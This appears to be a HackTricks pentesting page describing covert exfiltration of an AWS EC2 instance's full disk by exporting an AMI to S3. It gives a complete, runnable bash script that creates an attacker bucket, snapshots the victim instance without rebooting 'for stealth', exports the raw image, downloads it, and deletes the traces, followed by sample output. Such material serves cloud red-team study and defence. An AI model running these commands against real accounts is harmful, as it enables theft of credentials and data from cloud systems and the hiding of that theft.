# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)

{{#include ../../../../banners/hacktricks-training.md}}

## Summary
Abuse EC2 AMI export-to-S3 to exfiltrate the full disk of an EC2 instance as a single raw image stored in S3, then download it out-of-band. This avoids snapshot sharing and produces one object per AMI.

## Requirements
- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` on the target instance/AMI
- S3 (same Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
- KMS decrypt on the key that protects the AMI snapshots (if EBS default encryption is enabled)
- S3 bucket policy that trusts the `vmie.amazonaws.com` service principal (see below)

## Impact
- Full offline acquisition of the instance root disk in S3 without sharing snapshots or copying across accounts.
- Allows stealth forensics on credentials, configuration, and filesystem contents from the exported raw image.

## How to Exfiltrate via AMI Store-to-S3

- Notes:
  - The S3 bucket must be in the same Region as the AMI.
  - In `us-east-1`, `create-bucket` must NOT include `--create-bucket-configuration`.
  - `--no-reboot` creates a crash-consistent image without stopping the instance (stealthier but less consistent).

<details>
<summary>Step-by-step commands</summary>

```bash
# Vars
REGION=us-east-1
INSTANCE_ID=<i-victim>
BUCKET=exfil-ami-$(date +%s)-$RANDOM

# 1) Create S3 bucket (same Region)
if [ "$REGION" = "us-east-1" ]; then
  aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
else
  aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
fi

# 2) (Recommended) Bucket policy to allow VMIE service to write the object
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
cat > /tmp/bucket-policy.json <<POL
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowVMIEPut",
      "Effect": "Allow",
      "Principal": {"Service": "vmie.amazonaws.com"},
      "Action": [
        "s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
        "s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
      ],
      "Resource": [
        "arn:aws:s3:::$BUCKET",
        "arn:aws:s3:::$BUCKET/*"
      ],
      "Condition": {
        "StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
        "ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
      }
    }
  ]
}
POL
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json

# 3) Create an AMI of the victim (stealthy: do not reboot)
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)

# 4) Wait until the AMI is available
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"

# 5) Store the AMI to S3 as a single object (raw disk image)
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)

echo "Object in S3: s3://$BUCKET/$OBJKEY"

# 6) Poll the task until it completes
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
  --query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
  aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
    --query StoreImageTaskResults[0].StoreTaskState --output text
  sleep 10
done

# 7) Prove access to the exported image (download first 1MiB)
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
ls -l /tmp/ami.bin

# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
           --query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
  aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
done
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
```

</details>

## Evidence Example

- `describe-store-image-tasks` transitions:
```text
InProgress
Completed
```

- S3 object metadata (example):
```json
{
  "AcceptRanges": "bytes",
  "LastModified": "2025-10-08T01:31:46+00:00",
  "ContentLength": 399768709,
  "ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
  "ContentType": "application/octet-stream",
  "ServerSideEncryption": "AES256",
  "Metadata": {
    "ami-name": "exfil-1759887010",
    "ami-owner-account": "<account-id>",
    "ami-store-date": "2025-10-08T01:31:45Z"
  }
}
```

- Partial download proves object access:
```bash
ls -l /tmp/ami.bin
# -rw-r--r--  1 user  wheel  1048576 Oct  8 03:32 /tmp/ami.bin
```

## Required IAM Permissions

- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
- S3 (on export bucket): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
- KMS: If AMI snapshots are encrypted, allow decrypt for the EBS KMS key used by snapshots

{{#include ../../../../banners/hacktricks-training.md}}
